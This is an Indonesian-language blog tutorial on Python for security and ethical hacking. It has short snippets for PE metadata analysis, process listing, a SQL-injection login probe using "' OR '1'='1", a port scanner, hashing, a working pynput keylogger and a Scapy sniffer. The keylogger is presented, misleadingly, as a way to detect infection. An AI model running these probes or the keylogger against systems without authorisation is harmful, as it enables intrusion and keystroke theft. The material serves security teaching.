20. Security & Ethical Hacking dengan Python

 

20. Security & Ethical Hacking dengan Python

📌 Tujuan:

  • Memahami keamanan siber dan cara mengamankan aplikasi Python.
  • Mempelajari teknik ethical hacking untuk pengujian keamanan.
  • Menggunakan Python untuk analisis malware & cybersecurity automation.

📌 Durasi: 2-3 bulan


1️⃣ Analisis Malware dengan Python

📌 Apa itu Malware Analysis?
Analisis malware adalah proses memeriksa file atau program berbahaya untuk memahami bagaimana cara kerjanya dan cara mengatasinya.


🔹 1.1 Static Analysis – Memeriksa File Tanpa Menjalankannya

📌 Tujuan:

  • Mengecek apakah sebuah file mengandung kode berbahaya.
  • Melihat metadata dari file tanpa mengeksekusinya.

📌 Contoh: Mengekstrak metadata dari file EXE/DLL

import pefile

file_path = "malware.exe"
pe = pefile.PE(file_path)

print(f"File: {file_path}")
print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
print(f"Image Base: {hex(pe.OPTIONAL_HEADER.ImageBase)}")
print(f"Sections: {[s.Name.decode().strip() for s in pe.sections]}")

📌 Gunakan untuk:
✅ Mendeteksi struktur PE (Portable Executable) file Windows.
✅ Melihat library & fungsi yang digunakan malware.


🔹 1.2 Dynamic Analysis – Menjalankan Malware di Sandbox

📌 Tujuan:

  • Menjalankan malware di lingkungan virtual/sandbox untuk melihat perilakunya.
  • Memonitor perubahan file, registry, atau komunikasi jaringan.

📌 Contoh: Memonitor proses di Windows

import psutil

for process in psutil.process_iter(attrs=['pid', 'name', 'exe']):
    print(process.info)

📌 Gunakan untuk:
✅ Melihat proses mencurigakan yang berjalan di sistem.
✅ Menganalisis proses yang dibuat oleh malware.


2️⃣ Cybersecurity Automation dengan Python

📌 Apa itu Cybersecurity Automation?
Automasi keamanan siber menggunakan Python untuk mendeteksi & mencegah serangan siber.


🔹 2.1 Web Security – Memindai Website dari Celah Keamanan

📌 Tujuan:

  • Mendeteksi SQL Injection, XSS, CSRF, dan serangan lainnya.

📌 Contoh: Memeriksa keamanan website dengan requests

import requests

url = "https://targetwebsite.com/login"
payload = "' OR '1'='1"

response = requests.post(url, data={"username": payload, "password": "password"})
if "Welcome" in response.text:
    print("Website Rentan terhadap SQL Injection!")
else:
    print("Website aman.")

📌 Gunakan untuk:
✅ Mendeteksi SQL Injection pada formulir login.
✅ Menganalisis respon server terhadap payload berbahaya.


🔹 2.2 Network Security – Memindai Jaringan untuk Port Terbuka

📌 Tujuan:

  • Mendeteksi port terbuka yang bisa diserang oleh hacker.

📌 Contoh: Port Scanner dengan Python

import socket

host = "192.168.1.1"
ports = [21, 22, 80, 443, 3306, 8080]

for port in ports:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    result = sock.connect_ex((host, port))
    
    if result == 0:
        print(f"Port {port} terbuka!")
    else:
        print(f"Port {port} tertutup!")
    
    sock.close()

📌 Gunakan untuk:
✅ Mendeteksi port yang terbuka di jaringan lokal.
✅ Memeriksa apakah server rentan terhadap serangan.


🔹 2.3 Password Cracking – Menganalisis Kelemahan Kata Sandi

📌 Tujuan:

  • Mencari kata sandi lemah menggunakan brute force atau wordlist attack.

📌 Contoh: Cek hash password dengan Python

import hashlib

password = "password123"
hash_sha256 = hashlib.sha256(password.encode()).hexdigest()

print(f"SHA-256 Hash: {hash_sha256}")

📌 Gunakan untuk:
✅ Menganalisis seberapa kuat hash password.
✅ Membandingkan password yang bocor dengan hash database.


3️⃣ Ethical Hacking dengan Python

📌 Apa itu Ethical Hacking?
Hacking yang dilakukan secara legal & bertanggung jawab untuk menguji keamanan sistem.


🔹 3.1 Keylogger – Mendeteksi Aktivitas Keyboard

📌 Tujuan:

  • Menggunakan keylogger untuk uji penetrasi & mendeteksi malware keylogger.

📌 Contoh: Membuat Keylogger dengan pynput

from pynput import keyboard

def on_press(key):
    try:
        with open("log.txt", "a") as log_file:
            log_file.write(f"{key.char}\n")
    except AttributeError:
        pass

listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()

📌 Gunakan untuk:
✅ Menguji apakah PC terinfeksi keylogger.
✅ Menganalisis serangan keylogging pada sistem.


🔹 3.2 Sniffing Traffic – Memantau Paket Jaringan

📌 Tujuan:

  • Menangkap paket HTTP/HTTPS untuk melihat lalu lintas jaringan.

📌 Contoh: Sniffing dengan Scapy

from scapy.all import sniff

def packet_callback(packet):
    print(packet.summary())

sniff(prn=packet_callback, count=10)

📌 Gunakan untuk:
✅ Menganalisis lalu lintas jaringan untuk mendeteksi serangan.
✅ Memeriksa apakah data dikirim dalam format yang aman.


📌 Kesimpulan

Malware Analysis → Mendeteksi & menganalisis file berbahaya.
Cybersecurity Automation → Mendeteksi celah keamanan dengan Python.
Ethical Hacking → Menguji keamanan dengan metode hacking legal.

🚀 Selanjutnya: Gunakan Python untuk mengamankan aplikasi AI & marketplace otomatis! 🔥

Tidak ada komentar:

Posting Komentar